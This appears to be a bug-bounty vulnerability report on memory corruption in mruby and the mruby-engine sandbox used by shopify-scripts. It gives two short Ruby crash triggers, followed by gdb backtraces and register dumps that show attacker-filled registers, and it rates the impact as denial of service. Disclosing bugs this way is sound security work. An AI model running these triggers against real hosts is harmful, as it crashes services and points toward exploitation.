Sample - 1 --------------------- The following code triggers the bug (attached as mirb_use_after_free.rb): def method_missing(m)"0000000"end m0=w.instance_eval{prepend(m)} m0.instance_eval{prepend(m0)} Crash - Use After Free --------------------- (gdb) r use_after_free Starting program: /home/x/Desktop/research/mruby/bin/mirb use_after_free mirb - Embeddable Interactive Ruby Shell => :method_missing => "00000000000000" => "" *** Error in `/home/x/Desktop/research/mruby/bin/mirb': free(): invalid next size (normal): 0x00000000007c5b30 *** Program received signal SIGABRT, Aborted. 0x00007ffff7744f79 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 0x00007ffff7744f79 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #1 0x00007ffff7748388 in __GI_abort () at abort.c:89 #2 0x00007ffff77821d4 in __libc_message (do_abort=do_abort@entry=1, fmt=fmt@entry=0x7ffff7890a10 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175 #3 0x00007ffff778e4ae in malloc_printerr (ptr=, str=0x7ffff7890b88 "free(): invalid next size (normal)", action=1) at malloc.c:4996 #4 _int_free (av=, p=, have_lock=1) at malloc.c:3840 #5 0x00007ffff77905bc in _int_realloc (av=0x7ffff7acd760 , oldp=0x7c5ab0, oldsize=, nb=) at malloc.c:4366 #6 0x00007ffff7791e09 in __GI___libc_realloc (oldmem=0x7c5ac0, bytes=95) at malloc.c:3029 #7 0x000000000042321e in mrb_default_allocf (mrb=, p=, size=6, ud=) at /home/x/Desktop/research/mruby/src/state.c:60 #8 0x000000000041b08d in mrb_realloc_simple (mrb=0x756010, p=0x7c5ac0, len=95) at /home/x/Desktop/research/mruby/src/gc.c:201 #9 mrb_realloc (mrb=0x756010, p=0x7c5ac0, len=95) at /home/x/Desktop/research/mruby/src/gc.c:215 #10 0x00000000004327f4 in resize_capa (mrb=0x756010, capacity=94, s=) at /home/x/Desktop/research/mruby/src/string.c:139 #11 str_buf_cat (ptr=, len=, mrb=, s=) at /home/x/Desktop/research/mruby/src/string.c:174 #12 mrb_str_cat (mrb=, str=..., ptr=, len=) at /home/x/Desktop/research/mruby/src/string.c:2564 #13 0x0000000000433233 in mrb_str_inspect (mrb=, str=...) at /home/x/Desktop/research/mruby/src/string.c:2658 #14 0x00000000004050ae in mrb_funcall_with_block (mrb=, self=..., mid=, argc=, argv=, blk=...) at /home/x/Desktop/research/mruby/src/vm.c:415 #15 0x00000000004046af in mrb_funcall_with_block (mrb=0x756010, self=..., mid=, argc=, argv=0x7fffffffc890, blk=...) at /home/x/Desktop/research/mruby/src/vm.c:338 #16 0x000000000040403a in mrb_funcall_argv (mrb=0x756010, self=, mid=, argc=0, argv=0x7a6973207478656e) at /home/x/Desktop/research/mruby/src/vm.c:432 #17 mrb_funcall (mrb=, self=..., name=, argc=) at /home/x/Desktop/research/mruby/src/vm.c:323 #18 0x000000000040326d in p (mrb=, obj=, prompt=1) at /home/x/Desktop/research/mruby/mrbgems/mruby-bin-mirb/tools/mirb/mirb.c:92 #19 main (argc=, argv=) at /home/x/Desktop/research/mruby/mrbgems/mruby-bin-mirb/tools/mirb/mirb.c:564 Sample - 2 --------------------- The following code triggers the bug (attached as memory_corruption.rb): def method_missing(m)"111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111"end m0=w.instance_eval{prepend(m)} m0.instance_eval{prepend(m0)} Crash - Memory Corruption --------------------- (gdb) r ../../mruby-engine/bin/memory_corruption Starting program: /home/x/Desktop/research/mruby/bin/mirb ../../mruby-engine/bin/memory_corruption mirb - Embeddable Interactive Ruby Shell => :method_missing => "111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111" *** Error in `/home/x/Desktop/research/mruby/bin/mirb': malloc(): memory corruption: 0x00000000007c7720 *** Program received signal SIGABRT, Aborted. 0x00007ffff7744f79 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 0x00007ffff7744f79 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #1 0x00007ffff7748388 in __GI_abort () at abort.c:89 #2 0x00007ffff77821d4 in __libc_message (do_abort=1, fmt=fmt@entry=0x7ffff7890a10 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175 #3 0x00007ffff778fd76 in malloc_printerr (ptr=0x7c7720, str=0x7ffff788cb84 "malloc(): memory corruption", action=) at malloc.c:4996 #4 _int_malloc (av=av@entry=0x7ffff7acd760 , bytes=bytes@entry=49) at malloc.c:3447 #5 0x00007ffff7790621 in _int_realloc (av=0x7ffff7acd760 , oldp=0x7c5c70, oldsize=32, nb=64) at malloc.c:4286 #6 0x00007ffff7791e09 in __GI___libc_realloc (oldmem=0x7c5c80, bytes=47) at malloc.c:3029 #7 0x000000000042321e in mrb_default_allocf (mrb=, p=, size=6, ud=) at /home/x/Desktop/research/mruby/src/state.c:60 #8 0x000000000041b08d in mrb_realloc_simple (mrb=0x756010, p=0x7c5c80, len=47) at /home/x/Desktop/research/mruby/src/gc.c:201 #9 mrb_realloc (mrb=0x756010, p=0x7c5c80, len=47) at /home/x/Desktop/research/mruby/src/gc.c:215 #10 0x00000000004327f4 in resize_capa (mrb=0x756010, capacity=46, s=) at /home/x/Desktop/research/mruby/src/string.c:139 #11 str_buf_cat (ptr=, len=, mrb=, s=) at /home/x/Desktop/research/mruby/src/string.c:174 #12 mrb_str_cat (mrb=, str=..., ptr=, len=) at /home/x/Desktop/research/mruby/src/string.c:2564 #13 0x0000000000433233 in mrb_str_inspect (mrb=, str=...) at /home/x/Desktop/research/mruby/src/string.c:2658 #14 0x00000000004050ae in mrb_funcall_with_block (mrb=, self=..., mid=, argc=, argv=, blk=...) at /home/x/Desktop/research/mruby/src/vm.c:415 #15 0x00000000004046af in mrb_funcall_with_block (mrb=0x756010, self=..., mid=, argc=, argv=0x7fffffffc870, blk=...) at /home/x/Desktop/research/mruby/src/vm.c:338 #16 0x000000000040403a in mrb_funcall_argv (mrb=0x756010, self=, mid=, argc=0, argv=0x726d2f6863726165) at /home/x/Desktop/research/mruby/src/vm.c:432 #17 mrb_funcall (mrb=, self=..., name=, argc=) at /home/x/Desktop/research/mruby/src/vm.c:323 #18 0x000000000040326d in p (mrb=, obj=, prompt=1) at /home/x/Desktop/research/mruby/mrbgems/mruby-bin-mirb/tools/mirb/mirb.c:92 #19 main (argc=, argv=) at /home/x/Desktop/research/mruby/mrbgems/mruby-bin-mirb/tools/mirb/mirb.c:564 SANDBOX - SIGSEGV and Memory Corruption (SIGABRT) --------------------- Attached as sandbox.log x@x:~/Desktop/research/mruby-engine/bin$ ./sandbox memory_corruption : [BUG] Segmentation fault at 0x00000000000000 ruby 2.2.6p396 (2016-11-15 revision 56800) [x86_64-linux-gnu] -- Control frame information ----------------------------------------------- c:0001 p:1057346 s:0002 E:002210 TOP [FINISH] -- Machine register context ------------------------------------------------ RIP: 0x00007fe1a9945d1a RBP: 0x00007fe1a84d63e0 RSP: 0x00007fff283ca870 RAX: 0x31313131313132d0 RBX: 0x00007fe1a84d6010 RCX: 0x3131313131313131 RDX: 0x00007fe1a851a000 RDI: 0x00007fe1a851a1a0 RSI: 0x3131313131313131 R8: 0x00007fe1a8501c50 R9: 0x00007fe1a84d6000 R10: 0x3131313131313131 R11: 0x0000000000000003 R12: 0x00007fe1a84d64e0 R13: 0x00007fe1a84d69c0 R14: 0x0000000000000000 R15: 0x00007fe1a84e29f0 EFL: 0x0000000000010202 -- C level backtrace information ------------------------------------------- /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7fe1ae051d55] /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7fe1ae051f8c] /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7fe1adf2e06b] /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7fe1adfe414e] Debug --------------------- Attached as sandbox_gdb.log (gdb) r Starting program: /usr/bin/ruby sandbox memory_corruption [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [New Thread 0x7ffff7ff7700 (LWP 13744)] [New Thread 0x7ffff1f73700 (LWP 13813)] [Thread 0x7ffff1f73700 (LWP 13813) exited] Program received signal SIGSEGV, Segmentation fault. 0x00007ffff33e3d1a in mspace_free (msp=0x7ffff1f74010, mem=0x3131313131313131) at ../../../../ext/mruby_engine/dlmalloc.c:4250 4250 unlink_chunk(fm, next, nsize); (gdb) info reg rax 0x31313131313132d0 3544668469065757392 *****Overflow***** rbx 0x7ffff1f74010 140737252900880 rcx 0x3131313131313131 3544668469065756977 *****Overflow***** rdx 0x7ffff1fb8000 140737253179392 rsi 0x3131313131313131 3544668469065756977 *****Overflow***** rdi 0x7ffff1fb81a0 140737253179808 rbp 0x7ffff1f743e0 0x7ffff1f743e0 rsp 0x7fffffffd8c0 0x7fffffffd8c0 r8 0x7ffff1f9fc50 140737253080144 r9 0x7ffff1f74000 140737252900864 r10 0x3131313131313131 3544668469065756977 *****Overflow***** r11 0x3 3 r12 0x7ffff1f744e0 140737252902112 r13 0x7ffff1f749c0 140737252903360 r14 0x0 0 r15 0x7ffff1f809f0 140737252952560 rip 0x7ffff33e3d1a 0x7ffff33e3d1a eflags 0x10202 [ IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) c Continuing. sandbox: [BUG] Segmentation fault at 0x00000000000000 ruby 2.2.6p396 (2016-11-15 revision 56800) [x86_64-linux-gnu] -- Control frame information ----------------------------------------------- c:0001 p:0000 s:0002 E:0008f0 TOP [FINISH] -- Machine register context ------------------------------------------------ RIP: 0x00007ffff33e3d1a RBP: 0x00007ffff1f743e0 RSP: 0x00007fffffffd8c0 RAX: 0x31313131313132d0 RBX: 0x00007ffff1f74010 RCX: 0x3131313131313131 RDX: 0x00007ffff1fb8000 RDI: 0x00007ffff1fb81a0 RSI: 0x3131313131313131 R8: 0x00007ffff1f9fc50 R9: 0x00007ffff1f74000 R10: 0x3131313131313131 R11: 0x0000000000000003 R12: 0x00007ffff1f744e0 R13: 0x00007ffff1f749c0 R14: 0x0000000000000000 R15: 0x00007ffff1f809f0 EFL: 0x0000000000010202 -- C level backtrace information ------------------------------------------- /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7ffff7aefd55] /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7ffff7aeff8c] /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7ffff79cc06b] /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7ffff7a8214e] /lib/x86_64-linux-gnu/libc.so.6 [0x7ffff75ccff0] ... ... ... ... [NOTE] You may have encountered a bug in the Ruby interpreter or extension libraries. Bug reports are welcome. For details: http://www.ruby-lang.org/bugreport.html Program received signal SIGABRT, Aborted. 0x00007ffff75ccf79 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) c Continuing. [Thread 0x7ffff7ff7700 (LWP 13744) exited] Program terminated with signal SIGABRT, Aborted. The program no longer exists. Backtrace --------------------- (gdb) bt #0 0x00007ffff75ccf79 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #1 0x00007ffff75d0388 in __GI_abort () at abort.c:89 #2 0x00007ffff79cc078 in ?? () from /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 #3 0x00007ffff7a8214e in ?? () from /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 #4 #5 0x00007ffff33e3d1a in mspace_free (msp=0x7ffff1f74010, mem=0x3131313131313131) at ../../../../ext/mruby_engine/dlmalloc.c:4250 #6 0x00007ffff33dcc38 in me_memory_pool_free (self=, block=) at ../../../../ext/mruby_engine/memory_pool.c:90 #7 0x00007ffff33dcf56 in mruby_engine_allocf (state=, block=, size=0, data=0x7ffff1f743e0) at ../../../../ext/mruby_engine/mruby_engine.c:63 #8 0x00007ffff33f4cf3 in obj_free (obj=0x7ffff1f7c0a0, mrb=0x7ffff1f744e0) at /home/x/Desktop/research/mruby-engine/ext/mruby_engine/mruby/src/gc.c:786 #9 free_heap (mrb=mrb@entry=0x7ffff1f744e0, gc=gc@entry=0x7ffff1f745b8) at /home/x/Desktop/research/mruby-engine/ext/mruby_engine/mruby/src/gc.c:384 #10 0x00007ffff33f4e71 in mrb_gc_destroy (mrb=0x7ffff1f744e0, gc=0x7ffff1f745b8) at /home/x/Desktop/research/mruby-engine/ext/mruby_engine/mruby/src/gc.c:393 #11 0x00007ffff33f981a in mrb_close (mrb=0x7ffff1f744e0) at /home/x/Desktop/research/mruby-engine/ext/mruby_engine/mruby/src/state.c:251 #12 0x00007ffff33dd3c5 in me_mruby_engine_destroy (self=self@entry=0x7ffff1f743e0) at ../../../../ext/mruby_engine/mruby_engine.c:199 #13 0x00007ffff33e011e in ext_mruby_engine_free (engine=0x7ffff1f743e0) at ../../../../ext/mruby_engine/ext.c:51 #14 0x00007ffff79e3624 in ?? () from /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 #15 0x00007ffff79eca89 in rb_gc_call_finalizer_at_exit () from /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 #16 0x00007ffff79d2d2f in ruby_cleanup () from /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 #17 0x00007ffff79d2f35 in ruby_run_node () from /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 #18 0x000000000040086b in ?? () #19 0x00007ffff75b7ec5 in __libc_start_main (main=0x400820, argc=3, argv=0x7fffffffdf58, init=, fini=, rtld_fini=, stack_end=0x7fffffffdf48) at libc-start.c:287 #20 0x0000000000400899 in _start () Impact --------------------- This vulnerability is caused by use after free and memory corruption error. It becomes DoS because it collapses with the whole thread.

shopify-scripts: SIGABRT, SIGSEGV mspace_free() and mrb_default_allocf()